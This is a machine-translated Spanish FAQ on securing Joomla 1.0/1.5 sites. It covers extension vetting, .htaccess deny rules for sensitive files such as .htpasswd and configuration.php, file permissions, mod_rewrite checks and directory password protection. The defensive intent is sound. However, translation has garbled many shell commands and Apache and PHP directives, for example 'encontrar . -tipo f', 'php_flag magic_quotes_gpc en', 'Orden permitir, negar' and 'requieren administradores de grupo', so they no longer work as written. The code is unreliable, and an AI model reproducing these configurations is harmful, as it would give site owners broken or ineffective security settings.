Para proporcionar una instalación increíblemente fácil, Joomla! sigue un modelo de seguridad diferente. Es posible realizar un Joomla completo! instalación utilizando nada más que un navegador web apuntado al directorio de instalación de fácil lectura mundial. Se proporciona un nivel adicional de seguridad al requerir que elimine este directorio de instalación después de completar la instalación.

Otorgar a un instalador de acceso mundial la capacidad de escribir en archivos fuera de public_html sería un gran agujero de seguridad. Por lo tanto, por defecto cada Joomla! el archivo termina en el directorio public_html accesible al mundo. No es coincidencia, este es también el directorio en el que un enfadado planeta lleno de posibles atacantes esperan encontrar sus archivos.

Actualmente, la mayoría de las extensiones de Joomla también tienen soporte limitado para ubicaciones de archivos fuera de public_html. Este es un legado de Joomla! Modelo de instalación 1.0.x

Joomla! defensa

A pesar de su ubicación aparentemente vulnerable, Joomla! utiliza varios métodos efectivos para bloquear exploits. El principal de ellos es agregar una línea de código en la parte superior de cualquier archivo PHP que requiera protección adicional. Este método es muy efectivo siempre que todos y cada uno de los archivos que requieran dicha protección lo tengan. Un archivo vulnerable expone todo el sitio.

El reto

La práctica de colocar todo en public_html y luego construir una pequeña cerca dentro de cada archivo puede convertirse en una pesadilla administrativa. Un archivo vulnerable expone todo el servidor. Este es un claro ejemplo de permitir, luego negar el modelo de seguridad.

Este modelo requiere actualizaciones muy cuidadosas, revisiones constantes de registros y la conexión proactiva de nuevas vulnerabilidades tan pronto como se conozcan. (Dado que tienes que vencer a los atacantes, tendrás prisa y, sin darse cuenta, puedes hacer algo estúpido, creando potencialmente otras vulnerabilidades).

Durante las instalaciones y actualizaciones, debe verificar (o confiar en alguien más para verificar) cada línea de código, de cada archivo nuevo, para cada vulnerabilidad conocida. Y debido a que los scripts pueden tener consecuencias no deseadas entre sí, no puede olvidarse de probar, probar, probar. Por supuesto, esto es generalmente cierto para todo el software, pero colocar la aplicación completa en public_html hace que el problema sea extremadamente crítico.

La reciente ola de ataques de inyección de URL contra extensiones de terceros mal escritas habría tenido mucho menos éxito si esos archivos se hubieran almacenado fuera de public_html, y por lo tanto simplemente no estuvieran disponibles a través de URL. Tenga en cuenta que en muchos casos las vulnerabilidades reales aún podrían existir dentro de los archivos, pero al estar dentro de la cerca (fuera de public_html) no estarían expuestas a inyecciones de URL.

¿Para (Denegar, luego Permitir) o (Permitir, luego Denegar)?

El verdadero problema con el calificador "todo conocido" anterior es que es un modelo permitir, luego negar. En otras palabras, primero damos acceso a todos a cada archivo y luego denegamos el acceso a archivos específicos agregando una línea de código.

Considere la lógica para un script de autenticación de contraseña. Tenemos esencialmente dos opciones:

  1. Primero permita todo el acceso, luego niegue cualquier combinación de nombre de usuario / contraseña que NO coincida con la lista aprobada.
  2. Primero niegue todo el acceso, luego permita cualquier combinación de nombre de usuario / contraseña que coincida con la lista aprobada.

Obviamente el segundo método es mejor. Una familiaridad pasajera con las expresiones regulares muestra que el primer método es mucho más difícil de escribir de forma segura. Falla nuevamente cada vez que se desarrolla una nueva variación de algún ataque, y tiende a requerir revisiones constantes. Con el tiempo, tales revisiones se vuelven tan complejas que el sistema de autenticación se convierte en una fuente de vulnerabilidades.

Conceptualmente, el segundo método es un ejemplo de construir una valla fuerte alrededor de su sitio (denegar) y luego otorgar acceso utilizando un conjunto de criterios limitado y bien definido (luego permitir). Si el script falla, el resultado más probable es que alguien que debería tener acceso esté bloqueado. Eso puede ser muy inconveniente, pero no suele ser una violación de seguridad.

Las buenas noticias

  1. En Joomla! 1.0.x, algunas extensiones, y Joomla! framework, le da la opción de ubicar directorios críticos fuera de public_html después de haber completado la instalación. Siempre que sea posible debes hacer esto.
  2. Joomla! 1.5 va lejos en la dirección correcta. Proporciona varias constantes nuevas para especificar la ubicación de directorios particularmente sensibles, incluida la configuración, el administrador, las bibliotecas y la instalación.
  3. Joomla! 1.5 puede ejecutarse como una cuenta FTP. Esto proporciona otro método para proteger archivos en un archivo por archivo y directorio por directorio.

¿Cómo ajusto Joomla 1.5 define Joomla 1.5

Hay dos archivos de definición que generalmente deberán editarse. El archivo /includes/defines.php es para el front end y /administrator/includes/defines.php es para el fin del administrador de Joomla. A continuación se muestra el código relevante.

define ('JPATH_ROOT', implode (DS, $ partes));
define ('JPATH_SITE', JPATH_ROOT);
define ('JPATH_CONFIGURATION', JPATH_ROOT);
define ('JPATH_ADMINISTRATOR', JPATH_ROOT. DS. 'administrador');
define ('JPATH_LIBRARIES', JPATH_ROOT. DS. 'bibliotecas');
define ('JPATH_INSTALLATION', JPATH_ROOT. DS. 'instalación');

.DS. = Separador de directorio

¿Cómo bloqueo el acceso directo a archivos críticos usando .htaccess?

  1. Haga una copia de seguridad de su archivo .htaccess. Utilice su archivo de copia de seguridad para recuperar si falla lo siguiente. Asegúrese de eliminar el archivo de copia de seguridad una vez que haya terminado.
  2. Agregue lo siguiente a su archivo .htaccess. Este ejemplo protegerá los archivos configurtation.php y .htaccess.
<Archivos .htaccess>
orden permitir, negar
Negar todo
</Files>
<FilesMatch "configuration.php">
Orden permitir, negar
Negar todo
</FilesMatch>

También puede proteger muchas extensiones de archivo en una sola regla. Ejemplo (los nombres de archivo entre ' ( ' y ' ) ' en esta regla son las extensiones de archivo a proteger):

<FilesMatch "\. (Htaccess | htpasswd | ini | phps | log | sh | conf) $">
Orden permitir, negar
Negar todo
</FilesMatch>

¿Cómo ajusto recursivamente los permisos de archivos y directorios?

Usando Joomla! Administración

En el back-end, vaya a Sitio -> Configuración global -> Servidor.

Usando el shell de UNIX

Nota: El comando find automáticamente asume que debería comenzar desde el directorio actual. Para estar seguro, vaya a su directorio public_html y especifique una ruta como primer argumento. Algunos shells, como bash en Apple OS X, deben tener una ruta especificada en el comando find.

encontrar . -tipo f -exec chmod 644 {} \;
encontrar . -tipo d -exec chmod 755 {} \;
chmod 707 imágenes
chmod 707 imágenes / historias
chown apache: apache cache


Notas:

  1. Pruebe todas las extensiones de terceros después de cambiar los permisos.
  2. Es posible que deba restablecer los permisos de escritura para instalar más extensiones.

¿Cómo puedo configurar el directorio del administrador para usar un servidor SSL (https)? Joomla 1.0

Utilice Joomla versión 1.5 o posterior

Un Joomla estándar! La instalación 1.0.x no admite SSL para directorios individuales, sin embargo, hay varios hacks (elegantes y no tan elegantes) publicados en los foros.

Tenga en cuenta que las técnicas anteriores que involucran la variable $ mosConfig_live_site están en desuso, y no funcionarán con Joomla! versiones debido al aumento de las mejoras de seguridad.

Más ayuda

  1. Netshine Software, Ltd: uso de un certificado SSL con su sitio web Joomla

¿Por qué no se recomienda restringir el acceso por IP?

Restringir el acceso al sitio por dirección IP no es particularmente efectivo a largo plazo, ya que muchos exploits se ejecutan desde máquinas secuestradas o mediante servidores proxy, enmascarando la dirección IP real del atacante real. Los atacantes pueden atacar desde muchas máquinas diferentes comprometidas. Bloquearlos bloqueará a los legítimos propietarios de esa IP, pero no podrá bloquear a los atacantes.

Joomla! Extensiones

¿Por qué hay extensiones vulnerables?

Una lista de extensiones vulnerables actualmente conocidas .

Cualquiera puede escribir y distribuir un Joomla! extensión. Como un servicio a la comunidad global, esta libertad es activamente alentada y apoyada por Joomla! Equipo central. Debido a la apertura y popularidad de Joomla! proyecto, hay una amplia variedad de extensiones que ofrecen una amplia gama de características. La calidad y amplitud de Joomla! Las extensiones son una de las principales ventajas de Joomla.
Sin embargo, esta libertad tiene un precio. Requiere responsabilidad individual y solo puede sobrevivir donde la mayoría de los participantes actúan de manera responsable. El éxito de Joomla ha llevado a la atención no deseada de tipos maliciosos, como los kiddies de script que ejecutan scripts simples y automatizados en un esfuerzo por encontrar y desfigurar los sitios web de otros.
Es importante tener en cuenta que, los kiddies de script realizan involuntariamente un servicio valioso. Nos ayudan a identificar extensiones vulnerables y servidores mal configurados que de otro modo podrían permanecer abiertos a amenazas más serias.

¿Qué es una extensión vulnerable?

Una extensión vulnerable es aquella que se ha encontrado que contiene (o contribuye a) una vulnerabilidad de seguridad.

Las extensiones vulnerables no están necesariamente mal codificadas. A medida que la Web evoluciona, los requisitos técnicos y las prácticas de codificación comúnmente aceptadas cambian. Los proyectos activos lanzan nuevas versiones de sus extensiones a medida que cambian los requisitos. Por esta razón, es importante:

  1. Conozca los números de versión de todas las extensiones instaladas.
  2. Use solo la última versión estable de todas las extensiones.
  3. Elimine completamente todos los archivos de extensiones inseguras o no utilizadas.

¿Cómo elijo extensiones seguras?

Lo más importante que cualquiera puede hacer es tomar buenas decisiones con respecto a las extensiones que eligen usar en un sitio. Una vez que se instala una extensión insegura o maliciosa, debe considerar comprometido todo su sitio. NO HAY FORMA POSIBLE de proteger o impedir que un componente acceda a las tablas de la base de datos a las que no debería acceder. No hay forma posible de evitar que un componente envíe toda la información que encontró a un sitio web de crackers. Una vez que se instala un componente inseguro o malicioso, todo su sitio es inseguro.
Dicho todo esto, aquí hay algunos consejos bastante fáciles para tomar buenas decisiones con respecto a las extensiones que instala:

1. ¿Cuándo se lanzó la última versión?

Si ha pasado más de un año, considere el proyecto abandonado y encuentre algo más. No instale componentes viejos.

2. ¿Qué tipo de lanzamiento es? (Estable, Release Candidate (RC), Beta, Alpha)

Para los sitios de producción, debe apegarse a las versiones estables tanto como sea posible. Si no puede esperar hasta que se haya puesto a disposición una versión estable, los candidatos de versión son la única otra opción que debe considerar. No sugeriría a nadie que instale extensiones Beta o Alpha en un sitio de producción. Esto significa que todavía tienen errores, no se han probado lo suficiente y podrían tener cualquier cantidad de errores inconvenientes o problemas de seguridad que no se han solucionado o peor.

3. ¿La extensión tiene un historial de buenas prácticas de seguridad?

Obviamente, esto es un poco más subjetivo, pero sigue siendo un indicador muy válido de confiabilidad futura. Requiere un poco de investigación e investigación. Mire alrededor de sus páginas y archivos de descarga, ¿hay muchas versiones de seguridad o parches? ¿Hay muchos informes de actividad de craqueo a través de esta extensión? ¿Los desarrolladores tienen experiencia y son conscientes de la seguridad? ¿Qué piensan otros miembros de la comunidad sobre esta extensión? Un ejemplo que viene a la mente que tiene poco que ver con Joomla (lo que lo convierte en un buen ejemplo) es phpBB. Este script ha tenido más problemas de seguridad de los que pude entender y parece que hay problemas recientemente revelados. Debido a esto, nunca usaría phpBB. En mi opinión, no es confiable y existe una alta probabilidad de que haya más problemas de seguridad importantes.

4. ¿Existe una comunidad de soporte para esta extensión?

Esto es muy importante para la usabilidad y la conciencia de seguridad. Si hay una comunidad de soporte para una extensión, hay una mayor probabilidad de que se conozcan y resuelvan los problemas de seguridad. Una comunidad de apoyo significa que a las personas les gustaría continuar usando la extensión y que les importa la extensión. Esto aumenta la posibilidad de que los problemas de seguridad se encuentren, divulguen y solucionen con prontitud.

5. ¿Existe solo una versión Mambo de esta extensión?

Si bien esto en sí mismo no hace que una extensión sea insegura, es más bien un indicador de soporte, qué tan recientemente fue la última versión y el soporte futuro. Existe una posibilidad bastante limitada de que los componentes de Mambo sean compatibles con 1.5, así que ahórrese el problema y encuentre un componente hecho para trabajar con Joomla. Hará tu vida más fácil.

6. ¿Es la extensión generalmente libre de errores?

Lo indiqué un poco en el número tres, pero creo que vale la pena discutirlo con más profundidad. Si bien es casi imposible que una extensión esté completamente libre de errores, cuanto menor sea el número de errores, mejor. Si hay errores en el software, significa que hay errores en el software. Cuantos más errores, mayor riesgo de problemas de usabilidad y seguridad. Los problemas de seguridad a menudo son el resultado de no un error, sino de varios errores o malas prácticas. Por ejemplo, las vulnerabilidades recientes de terceros que permiten la inclusión remota de archivos son el resultado de:

Malas prácticas:

  1. Tener PHP's Register Globals habilitado.
  2. Uso de extensiones desactualizadas o abandonadas.
  3. No hay otras comprobaciones de seguridad habilitadas para PHP. (url_fopen off, restricciones de open_basedir, funciones PHP deshabilitadas)
  4. Permisos de archivo mal configurados.
  5. Sin solicitud de filtrado o software "firewall". (como las reglas mod_rewrite o módulos mod_security Apache)

Loco:

  1. No incluye las declaraciones definidas ('_ VALID_MOS') o die ...
  2. Declaraciones de inclusión () mal construidas.

Aunque el Joomla! Core es seguro cuando se configura correctamente, las extensiones de terceros vienen en todos los sabores de antigüedad y calidad. A menos que confíe absolutamente en el desarrollador de la extensión, siempre revise el código antes de instalar. La siguiente es una lista de áreas típicas de preocupación.

1. ¿Qué tan compleja es la extensión?

Cuanto más grande sea, más probable es que tenga problemas y más cuidadosamente debe revisarlo. Si no puede decir lo que está haciendo, no debe confiar en él.

2. ¿La extensión lee o escribe archivos en su servidor?

Los programas que leen archivos pueden violar inadvertidamente las restricciones de acceso que ha configurado o pasar información confidencial del sistema a los crackers. Los programas que escriben archivos tienen el potencial de modificar o dañar archivos existentes, o introducir troyanos.

3. ¿La extensión interactúa con otros programas en su sistema?

Por ejemplo, muchas extensiones envían correo electrónico en respuesta a una entrada de formulario abriendo una conexión con el programa sendmail. ¿Está haciendo esto de una manera segura?

4. ¿La extensión se ejecuta con privilegios suid (set-user-id)?

En general esto es muy peligroso; Las extensiones necesitan una excelente razón para hacerlo.

5. ¿La extensión valida todas las entradas del usuario, como en los campos de formulario y en la URL?

6. ¿La extensión utiliza nombres de ruta explícitos al invocar programas externos?

Confiar en la variable de entorno PATH para resolver nombres de ruta parciales es una práctica peligrosa.

7. ¿Es segura la extensión contra el acceso directo a través de la URL?

Por ejemplo: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. ¿Es segura la extensión contra inclusiones de archivos remotos?

9. ¿Es segura la extensión contra inyecciones SQL?

10. ¿Es segura la extensión contra Cross Site Scripting (XSS)?

11. ¿La extensión necesita PHP register_globals ON, o Joomla! Emulación RG activada?

Si es así, entonces probablemente esté violando el número 7 anterior.

12. ¿La extensión proporciona un mayor acceso a la base de datos a usuarios menos privilegiados?

Por ejemplo, ¿permite a los invitados o usuarios registrados ver datos que solo los editores o administradores deberían poder ver?

¿Por qué el sitio Extensiones incluye extensiones inseguras?

Visión de conjunto

El Joomla! El sitio de extensiones existe como un servicio gratuito para la comunidad. Cualquiera puede publicar extensiones allí y existen extensiones en todos los niveles de calidad y madurez.

Si se descubre que una extensión contiene vulnerabilidades, se eliminará del sitio hasta que se lance una versión más segura, pero no hay garantía de que se hayan descubierto o informado las vulnerabilidades de cada extensión.

Para estar seguro, debe verificar la seguridad de cada extensión que instale.

A continuación se muestra el texto de Joomla! Exención de responsabilidad del sitio de extensiones. Ignóralo bajo tu propio riesgo.

Descargo de responsabilidad

Las extensiones y revisiones enumeradas en esta área han sido enviadas por la comunidad y su listado no constituye ni implica aprobación, recomendación o favor por parte de Joomla! / OSM.

 

Este contenido se proporciona como un servicio gratuito para nuestros visitantes y, como tal, Joomla! / OSM no se hace responsable de la exactitud de la información. Los visitantes que deseen verificar que la información sea correcta deben comunicarse con las partes responsables de autorizar el contenido y / o el desarrollo de la extensión.

¿Por qué hay una advertencia en la pantalla de instalación de extensiones?

¡Es solo una advertencia! Por supuesto, puede instalar cualquier extensión que desee en su propio sitio, pero recuerde que USTED es responsable de la seguridad de su sitio y de la calidad de las aplicaciones que instala.

La gran mayoría de los reportados de Joomla! Las vulnerabilidades se deben a versiones mal escritas u obsoletas de extensiones de terceros que no deberían haberse dejado en el servidor. Por lo tanto, antes de instalar cualquier cosa, evalúe cuidadosamente la calidad del código de la extensión.

La lista de extensiones vulnerables es una valiosa fuente de información sobre lo que NO se debe instalar.

¿Por qué anular la publicación de una extensión vulnerable es suficiente para proteger mi sitio?

Visión de conjunto

¡Simplemente eliminar los enlaces del menú a una extensión o anular la publicación de un módulo NO es suficiente para proteger su sitio! Mientras los archivos de la extensión existan en su servidor, usted es vulnerable. Observe cómo en los siguientes ejemplos un atacante puede pasar por alto el Joomla! archivo de índice para apuntar directamente a cualquier archivo, de cualquier extensión.
www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

Instrucciones para eliminar una extensión vulnerable

1. Haga una lista de archivos para eliminar

Si puede localizarlo, lea el archivo xml de la extensión para determinar exactamente qué directorios, archivos y tablas de bases de datos se agregaron a su sistema. El archivo xml está en el archivo zip original utilizado durante el proceso de instalación de la extensión. Por ejemplo, el archivo zip para una extensión llamada mod_vulnerable, contendría un archivo xml llamado mod_vulnerable.xml y podría contener una lista de archivos como los siguientes:
mod_vulnerable.php
mod_vulnerable / vulnerable_file.txt
mod_vulnerable / another_vulnerable_file.txt
mod_vulnerable / yet_another_vulnerable_file.txt
mod_vulnerable / index.html

2. Desinstalar a través del instalador de Joomla:

Usando el instalador en Joomla! Administrador de back-end, desinstale la extensión vulnerable. También es posible que deba desinstalar módulos, componentes o complementos relacionados.

3. Verifique que el proceso de desinstalación se haya completado:

No confíes en la extensión para eliminar de forma segura todos sus archivos. Compare directorios y archivos en su sistema con la lista xml de la extensión para asegurarse de que todos los archivos relacionados se hayan eliminado realmente.

4. Opcionalmente, elimine las tablas de bases de datos relacionadas:

Verifique su base de datos y elimine las tablas creadas por la extensión. Para facilitar el proceso de actualización a nuevas versiones, muchos scripts de desinstalación no eliminan las tablas de bases de datos relacionadas. Puede encontrar la lista de tablas en el archivo xml de cada extensión. (Si planea instalar una versión más segura y compatible de la misma extensión y desea reutilizar los datos existentes, generalmente puede dejar las tablas de la base de datos como están).

apache

Cubre información sobre el servidor web Apache, los módulos Apache, los archivos .htaccess, etc.

 

¿Qué es Apache modSecurity?

Visión de conjunto

ModSecurity es un módulo de Apache que funciona como un firewall de aplicación web incorporable. Proporciona protección contra una variedad de ataques contra aplicaciones web y permite la supervisión del tráfico HTTP y el análisis en tiempo real sin cambios en la infraestructura existente. También es un proyecto de código abierto que tiene como objetivo hacer que la tecnología de firewall de aplicaciones web esté disponible para todos.

Al configurar ModSecurity, es importante saber que no es solo Joomla! aplicación que puede requerir reglas únicas, pero también los datos que procesa la aplicación.

Los proveedores de alojamiento de calidad personalizan las reglas de mod_security para adaptarse a cada cliente.

Si tiene un conflicto entre Joomla y ModSecurity, a menudo son componentes de terceros y, a veces, incluso envíos de formularios de contacto que desencadenan el problema. Joomla listo para usar generalmente funciona con la configuración típica de ModSecurity, pero esto depende de la configuración única de cada proveedor de hosting.

En general, mod_security es una herramienta excelente, pero esto es realmente algo que su host debería administrar.

Un error específico es la falla en la carga de archivos, esto a menudo es causado por la activación de SecFilterScanPOST. Si obtiene un error interno del servidor mientras usa la carga flash en el Administrador de medios, este es un buen lugar para comenzar. Puede deshabilitar esta configuración agregando SecFilterScanPOST Off a su archivo .htaccess.

Las configuraciones de ModSecurity son demasiado variadas y complejas para describirlas aquí. Para obtener más información, consulte los siguientes recursos:


Recursos

  1. Sitio oficial de ModSecurity
  2. ModSecurity y Apache

¿Cómo bloqueo los escaneos de directorio usando .htaccess?

Direcciones

Agregue una de las siguientes reglas de reescritura de Apache a su archivo .htaccess. El primer ejemplo reescribirá internamente todos los intentos de acceder a archivos con nombres que comienzan con "phpMyAdmin" en index.php. Tenga cuidado al usar esto, ya que permite una URL duplicada aparentemente válida para su página de inicio. La segunda regla es más segura. Simplemente devuelve una respuesta 403.


Ejemplo de regla de reescritura de Apache

RewriteRule ^ phpMyAdmin /index.php [L]
RewriteRule ^ phpMyAdmin - [F]


Algunos consejos de expresión regular

^ Significa inicio de patrón
. Significa cualquier carácter que no sean líneas nuevas
+ Significa uno o más del personaje anterior
* Significa cero o más del personaje anterior
$ Significa fin del patrón
\. Los períodos literales se deben escapar con un \

¿Cómo puedo cambiar la configuración de PHP usando .htaccess?

Introducción

Estas preguntas frecuentes explican cómo establecer directivas de configuración PHP booleanas usando php_flag. El formato para php_flag es: php_flag name on | off


Direcciones

1. Abra el archivo .htaccess ubicado en el directorio de inicio de su sitio, o si no tiene uno, cree uno en blanco ahora. Tenga en cuenta el carácter de punto (.) Al comienzo del nombre del archivo.

2. Agregue cualquiera de los siguientes ejemplos de código a su archivo .htaccess, cada uno en su propia línea. Estos comandos de ejemplo evitarán ataques comunes de inyección de variables globales, pilas de scripts de sitios cruzados (XSS) y ataques de inyección de código.

php_flag register_globals off
php_flag allow_url_fopen off
php_flag magic_quotes_gpc en


Tenga en cuenta que aunque la directiva magic_quotes_gpc agrega una capa de seguridad, por razones de rendimiento no se considera una práctica recomendada. Si ha verificado que su sitio filtra y valida correctamente todos los datos del usuario (y cada sitio de producción realmente debería hacerlo), entonces no es necesario agregar esta directiva. Si tiene alguna duda, agréguela.

3. Guarde el archivo .htaccess en el directorio de inicio de su sitio.

4. Pruebe el front-end y el back-end de su sitio.

¿Cómo afecta FastCGI a Joomla?

Cuando PHP se ejecuta desde FastCGI, su servidor ejecuta el intérprete PHP como un módulo Apache, pero con los derechos de su cuenta de usuario. Por lo general, el intérprete PHP se ejecuta como el usuario del servidor web (que es rápido, pero inseguro, ya que los scripts de todos se ejecutan con los mismos derechos), o como un programa CGI, que es lento. Por lo tanto, FastCGI es una buena solución para alojamiento compartido.

Como el intérprete PHP se ejecuta como una sola instancia, (AFAIK) no analiza los archivos .htaccess o php.ini por directorio. Para cambiar la configuración de php.ini, su host debe ofrecerle un método para configurar o modificar su propio php.ini, o al menos partes de él. Así es como uno de los hosts hace esto: analiza un archivo php.ini (que el usuario puede modificar) una vez por hora, y coloca algunas configuraciones bien definidas en el archivo php.ini principal del servidor web. Por lo tanto, los usuarios pueden cambiar algunas configuraciones solo para su sitio, como desactivar register_globals, cambiar entre PHP4 y PHP5.

Si su servidor usa FastCGI, puede pedirles que habiliten un método como el ejemplo anterior, o puede pedirles que ajusten algunas configuraciones por usted.

¿Cómo puedo verificar si mod_rewrite está habilitado?

Muchos problemas con la optimización de motores de búsqueda (SEO) surgen del hecho de que un host no ha habilitado mod_rewrite en el servidor.

1. ¡Habilite el SEO en su administrador! (administrador> SEO> Habilitar> Guardar)

2. Cambie el nombre de su htaccess.txt a .htaccess o use su archivo .htaccess existente.

3. Coloque SOLO las siguientes líneas en su archivo .htaccess en la carpeta raíz del dominio.

      Opciones + FollowSymLinks
       RewriteEngine  en 
      RewriteRule ^ joomla \ .html http://www.joomla.org/ [R = 301, L]

4. Apunte su navegador a: http://www.example.com/joomla.html

(Reemplace 'example.com' con la URL real de su sitio).

5. Si es redirigido a www.joomla.org, mod_rewrite está funcionando. Si obtiene un error, mod_rewrite no funciona.

6. Nota: si su sitio está ubicado en una carpeta, por ejemplo "prueba", deberá modificar el archivo .htaccess de la siguiente manera:

      Opciones + FollowSymLinks
       RewriteEngine  en 
      RewriteRule ^ test / joomla \ .html http://www.joomla.org/ [R = 301, L]

¿Cómo cambio a PHP5 usando .htaccess?

Visión de conjunto

Muchos entornos de servidores compartidos actualmente ejecutan scripts .php usando el intérprete PHP4 y el código .php5 usando el intérprete PHP5. En lugar de cambiar todas las extensiones de archivo y quizás romper muchos enlaces, use un archivo .htaccess para asignar dinámicamente una extensión a la otra.

AVISO IMPORTANTE: Una razón común para hacer esto es que los hosts dejan PHP4 configurado con register_globals ON para admitir código heredado mientras ofrecen PHP5 con register_globals OFF. Si está en un servidor compartido en un host que ha configurado register_globals en todo el servidor, ¡debería estar muy preocupado!

Desactivar los registros globales a través de un php.ini local o un archivo .htaccess NO le ofrecerá ninguna protección adicional. Otra cuenta explotada en su servidor puede simplemente piratear la suya. Para la seguridad del servidor, y desde php 4.2, el registro global está DESACTIVADO en todo el servidor de forma predeterminada (php predeterminado). Cualquier host que anule esto es un problema atractivo. Si necesita registrar los globales en un sitio específico, simplemente use un archivo .htaccess para ese directorio específico, y la seguridad del servidor no se verá comprometida. Por supuesto, si hace esto, asegúrese de que todos los scripts afectados desinfecten completamente los datos de entrada.

Requisitos

1. Su servidor Apache debe estar configurado para usar archivos .htaccess. De lo contrario, puede solicitarlo a su host. 2. Su configuración de Apache debe permitir la siguiente configuración. De lo contrario, puede solicitarlo a su host. 3. Su host debe haber configurado las extensiones de archivo .php y .php5 como se describe anteriormente. De lo contrario, posiblemente hayan elegido otras extensiones. Consulte con su anfitrión.

Direcciones

1. Verifique para asegurarse de que su sitio esté configurado para usar archivos .htaccess.

2. Haga una copia de seguridad del archivo .htaccess en su directorio raíz public_http. Si no tiene un archivo .htaccess en esta ubicación, cree uno ahora.

3. Hay varias formas de configurar el comando, dependiendo de la configuración de su servidor. Uno de los siguientes probablemente funcionará. Agregue UNA las siguientes líneas al final de su archivo .htaccess. Si no está seguro de cuál usar, consulte con su proveedor de alojamiento en qué versión funciona mejor para su configuración.

AddType x-mapp-php5 .php
Aplicación AddHandler / x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Prueba con cuidado.

5. Elimine el archivo de copia de seguridad .htaccess. No deje copias de seguridad de archivos .htaccess en directorios públicos.

¿Cómo protejo con contraseña los directorios con .htaccess?

Visión de conjunto

Estas preguntas frecuentes explican cómo proteger Joomla! / administrador / directorio en servidores Apache utilizando la utilidad htpasswd. Puede adaptar fácilmente estas instrucciones para proteger otros directorios. Si necesita ayuda para encontrar o crear su archivo .htaccess, comience aquí.

Advertencia (de Apache.org)

La autenticación básica no debe considerarse segura para ninguna definición de seguridad particularmente rigurosa. Aunque la contraseña se almacena en el servidor en formato cifrado, se pasa del cliente al servidor en texto plano a través de la red. Cualquiera que escuche con cualquier variedad de sniffer de paquetes podrá leer el nombre de usuario y la contraseña de forma clara a medida que avanza.

No solo eso, sino que recuerda que el nombre de usuario y la contraseña se pasan con cada solicitud, no solo cuando el usuario los ingresa por primera vez. Por lo tanto, el rastreador de paquetes no necesita estar escuchando en un momento particularmente estratégico, sino solo el tiempo suficiente para ver cualquiera Solicitud venir a través del cable.

Y, además de eso, el contenido en sí también se transmite a través de la red de forma clara, por lo que si el sitio web contiene información confidencial, el mismo sniffer de paquetes tendría acceso a esa información a medida que pasaba, incluso si el nombre de usuario y la contraseña no se utilizó para obtener acceso directo al sitio web.

No use la autenticación básica para nada que requiera seguridad real. Es un detrimento para la mayoría de los usuarios, ya que muy pocas personas se tomarán la molestia o tendrán el software o el equipo necesarios para encontrar contraseñas. Sin embargo, si alguien deseara ingresar, tomaría muy poco para hacerlo.

Sin embargo, la autenticación básica a través de una conexión SSL será segura, ya que todo se cifrará, incluido el nombre de usuario y la contraseña.

Direcciones

1. Si no está familiarizado con la utilidad Apache htpasswd, puede leer primero el siguiente enlace. Autenticación, autorización y control de acceso de Apache

2. Compruebe para asegurarse de que su sitio esté configurado para usar archivos .htaccess. Si no está seguro, pregúntele a su anfitrión.

3. Decide dónde colocar tu archivo .htaccess. Debido a que Apache busca recursivamente todos los directorios en una ruta para archivos .htaccess, cuanto más alto en su estructura de directorios coloque este archivo, más directorios controlará. Si ya hay un archivo .htaccess en el directorio que elija, probablemente sea mejor agregarle el nuevo código.

4. Decida dónde almacenar sus archivos .htpasswd y .htgroups. Estos archivos NUNCA deben ser accesibles públicamente a través de la Web. A continuación se muestra un ejemplo de estructura de directorios que muestra buenas ubicaciones para cada archivo. Tenga en cuenta que el directorio / auth / en este ejemplo NO es accesible desde la Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/


5. Cree los archivos .htpasswd y .htgroups como se explica en el Manual oficial de Apache, mencionado anteriormente. (Dado que ha leído la documentación siempre actual y oficial en Apache.org, le ahorraremos el problema de mostrarla nuevamente aquí).

6. Si ya existe un archivo .htaccess en el directorio que ha elegido, haga una copia de seguridad. Si el archivo no existe, cree un nuevo archivo con ese nombre ahora. (No olvide el punto al comienzo del nombre).

7. Agregue el siguiente código al archivo .htaccess. Ajuste las rutas de ejemplo (marcadas en rojo) según sea necesario para su servidor. Ajuste el nombre del grupo que creó en el paso 5 si difiere del ejemplo a continuación.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
requieren administradores de grupo

8. Prueba con cuidado.

9. Elimine todos los archivos de copia de seguridad .htaccess de los directorios public_http.

10. Si no puede usar la utilidad Apache htpasswd, aquí hay un script gratuito en línea que crea los archivos necesarios para usted. Necesitará saber el nombre de usuario, la contraseña y la ruta. El guión hace el resto por ti. Tenga en cuenta que para una configuración más avanzada, como el uso de grupos, deberá editar los archivos resultantes.

.htaccess Generator: http://www.webmaster-toolkit.com/htaccess-generator.shtml

¿Cómo restrinjo el acceso al directorio por dirección IP usando .htaccess?

Visión de conjunto

¡Esta puede ser una forma muy efectiva de proteger tu Joomla! directorio de administrador Cualquier otro directorio en public_html puede protegerse de la misma manera. Este método solo funciona si tiene asignada una dirección IP estática. Cualquier persona que intente explorar dichos directorios con una dirección IP diferente recibirá un error 403 prohibido.

Direcciones

  1. En el directorio que desea proteger, abra (o cree) un archivo llamado .htaccess. (Tenga en cuenta el punto al comienzo del nombre del archivo).
  2. Agregue el siguiente código a este archivo, reemplazando 100.100.100.100 en este ejemplo con la dirección IP estática que planea permitir:
Orden denegar, permitir
Negar todo
Permitir desde 100.100.100.100

 

  • Opcional: puede ingresar direcciones IP parciales, como 100.100.100. Esto permite el acceso a un rango de direcciones.
  • Opcional: puede agregar varias direcciones separándolas con comas.
100.100.100.101, 100.100.100.102

¿Cómo convierto un archivo htaccess.txt en un archivo .htaccess?

Introducción

Al usar PHP como un módulo de Apache, puede cambiar la configuración de configuración utilizando directivas en los archivos de configuración de Apache (por ejemplo, archivos httpd.conf y .htaccess). Necesitará los privilegios "AllowOverride Options" o "AllowOverride All" para hacerlo. Si controla su propia configuración de Apache, puede y debe usar httpd.conf. Si no controla su configuración de Apache (como en un servidor compartido), debe usar archivos .htaccess.

Direcciones

  1. Primero busque el archivo, htaccess.txt en su directorio raíz. Debería haber sido instalado durante Joomla! instalación. (Tenga en cuenta que este nombre de archivo no comienza con un punto). Abra y lea cuidadosamente htaccess.txt. Contiene sugerencias importantes sobre cómo proteger su sitio.
  2. Realice los ajustes a este archivo según corresponda para su sitio, y luego guárdelo en el directorio de inicio de su sitio como, .htaccess (incluido el punto).
